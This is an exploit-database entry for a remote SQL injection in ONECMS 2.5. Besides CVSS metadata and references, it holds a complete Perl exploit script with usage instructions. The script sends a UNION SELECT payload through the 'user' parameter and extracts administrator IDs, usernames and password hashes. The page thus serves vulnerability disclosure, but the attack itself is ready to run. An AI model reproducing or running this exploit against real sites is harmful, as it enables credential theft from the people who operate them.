ONECMS 2.5 remote SQL injection

2010.03.06
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: ONECMS v2.5 SQL INJECTION # Date: 05.03.2010 # Author: Ctacok and .:[melkiy]:. # Software Link: http://sourceforge.net/projects/onecms/ # Version: 2.5 # Tested on: Ubuntu 9.10 Apache2+PHP5 #!/usr/bin/perl use LWP::Simple; print "\n"; print "##############################################################\n"; print "# ONECMS v2.5 SQL INJECTION #\n"; print "# Bug founded by: .:[melkiy]:. #\n"; print "# Exploit coded by: Ctacok #\n"; print "# Special for Antichat (forum.antichat.ru) #\n"; print "# Require : Magic_quotes = Off #\n"; print "##############################################################\n"; if (@ARGV < 2) { print "\n Usage: exploit.pl [host] [path] "; print "\n EX : exploit.pl www.localhost.com /path/ prefix \n\n"; exit; } $host=$ARGV[0]; $path=$ARGV[1]; $prefix=$ARGV[2]; # PREFIX TABLES, Default: onecms $vuln = "-2'+union+select+1,2,3,4,5,6,7,8,concat(0x3a3a3a,id,0x3a,username,0x3a,password,0x3a3a3a),10,11+from+".$prefix."_users"; $doc = get($host.$path."index.php?load=elite&user=".$vuln."+--+"); if ($doc =~ /:::(.+):(.+):(.+):::/){ print "\n[+] Admin id: : $1"; print "\n[+] Admin email: $2"; print "\n[+] Admin password: $3"; } _________________________________________________________________ ?????? ?? ????? ?? ??????? ?????? ???????? ??????? ?? NextMail: http://www.nextcorp.ru/corp/virt.phtml

References:

http://xforce.iss.net/xforce/xfdb/56700
http://www.securityfocus.com/bid/38557
http://www.exploit-db.com/exploits/11635
http://secunia.com/advisories/30378
http://packetstormsecurity.org/1003-exploits/onecmsv25-sql.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top